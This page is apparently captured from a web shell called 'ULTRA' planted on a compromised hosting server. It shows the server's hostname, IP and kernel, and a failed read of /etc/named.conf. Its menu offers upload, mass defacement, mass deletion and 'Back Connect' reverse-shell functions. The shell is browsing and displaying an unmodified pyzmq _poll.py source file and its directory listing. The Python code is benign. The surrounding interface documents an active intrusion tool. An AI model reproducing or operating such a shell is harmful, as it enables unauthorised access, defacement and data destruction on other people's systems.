ULTRA [ vsambulanceservice.com ]

Linux vps122157.inmotionhosting.com 4.18.0 #1 SMP Mon Sep 30 15:36:27 MSK 2024 x86_64

Apache/2.4.65 (Unix) OpenSSL/1.1.1k

199.250.210.201 | Your IP: 216.73.216.16

Cant read [ /etc/named.conf ]

[ drwxr-xr-x ]

/ proc / 2 / task / 2 / cwd / opt / imh-python / lib / python3.9 / site-packages / zmq / backend / cffi /

Home Upload Mass Deface Mass Delete Back Connect Notify

_poll.py

# coding: utf-8
"""zmq poll function"""

# Copyright (C) PyZMQ Developers
# Distributed under the terms of the Modified BSD License.

try:
    from time import monotonic
except ImportError:
    from time import clock as monotonic
import warnings

from ._cffi import C, ffi
from zmq.error import InterruptedSystemCall, _check_rc

def _make_zmq_pollitem(socket, flags):
    zmq_socket = socket._zmq_socket
    zmq_pollitem = ffi.new('zmq_pollitem_t*')
    zmq_pollitem.socket = zmq_socket
    zmq_pollitem.fd = 0
    zmq_pollitem.events = flags
    zmq_pollitem.revents = 0
    return zmq_pollitem[0]

def _make_zmq_pollitem_fromfd(socket_fd, flags):
    zmq_pollitem = ffi.new('zmq_pollitem_t*')
    zmq_pollitem.socket = ffi.NULL
    zmq_pollitem.fd = socket_fd
    zmq_pollitem.events = flags
    zmq_pollitem.revents = 0
    return zmq_pollitem[0]

def zmq_poll(sockets, timeout):
    cffi_pollitem_list = []
    low_level_to_socket_obj = {}
    from zmq import Socket
    for item in sockets:
        if isinstance(item[0], Socket):
            low_level_to_socket_obj[item[0]._zmq_socket] = item
            cffi_pollitem_list.append(_make_zmq_pollitem(item[0], item[1]))
        else:
            if not isinstance(item[0], int):
                # not an FD, get it from fileno()
                item = (item[0].fileno(), item[1])
            low_level_to_socket_obj[item[0]] = item
            cffi_pollitem_list.append(_make_zmq_pollitem_fromfd(item[0], item[1]))
    items = ffi.new('zmq_pollitem_t[]', cffi_pollitem_list)
    list_length = ffi.cast('int', len(cffi_pollitem_list))
    while True:
        c_timeout = ffi.cast('long', timeout)
        start = monotonic()
        rc = C.zmq_poll(items, list_length, c_timeout)
        try:
            _check_rc(rc)
        except InterruptedSystemCall:
            if timeout > 0:
                ms_passed = int(1000 * (monotonic() - start))
                if ms_passed < 0:
                    # don't allow negative ms_passed,
                    # which can happen on old Python versions without time.monotonic.
                    warnings.warn(
                        "Negative elapsed time for interrupted poll: %s."
                        "  Did the clock change?" % ms_passed,
                        RuntimeWarning)
                    ms_passed = 0
                timeout = max(0, timeout - ms_passed)
            continue
        else:
            break
    result = []
    for index in range(len(items)):
        if items[index].revents > 0:
            if not items[index].socket == ffi.NULL:
                result.append((low_level_to_socket_obj[items[index].socket][0],
                            items[index].revents))
            else:
                result.append((items[index].fd, items[index].revents))
    return result

__all__ = ['zmq_poll']

Name	Type	Size	Owner/Group	Permission	Last Modified	Actions
.	dir	-	root/root	drwxr-xr-x	2025-05-20 07:23:13
..	dir	-	root/root	drwxr-xr-x	2025-05-20 07:23:13
__pycache__	dir	-	root/root	drwxr-xr-x	2025-05-20 07:23:13
__init__.py	text/plain	616 B	root/root	-rw-r--r--	2025-05-05 04:42:09
_cdefs.h	text/plain	2.16 KB	root/root	-rw-r--r--	2025-05-05 04:42:09
_cffi.py	text/x-script.python	3.79 KB	root/root	-rw-r--r--	2025-05-05 04:42:09
_poll.py	text/x-script.python	2.77 KB	root/root	-rw-r--r--	2025-05-05 04:42:09
_verify.c	text/x-c	105 B	root/root	-rw-r--r--	2025-05-05 04:42:09
constants.py	text/x-script.python	357 B	root/root	-rw-r--r--	2025-05-05 04:42:09
context.py	text/x-script.python	1.87 KB	root/root	-rw-r--r--	2025-05-05 04:42:09
devices.py	text/x-script.python	1.61 KB	root/root	-rw-r--r--	2025-05-05 04:42:09
error.py	text/plain	353 B	root/root	-rw-r--r--	2025-05-05 04:42:09
message.py	text/plain	1.36 KB	root/root	-rw-r--r--	2025-05-05 04:42:09
socket.py	text/x-script.python	8.91 KB	root/root	-rw-r--r--	2025-05-05 04:42:09
utils.py	text/x-script.python	2.12 KB	root/root	-rw-r--r--	2025-05-05 04:42:09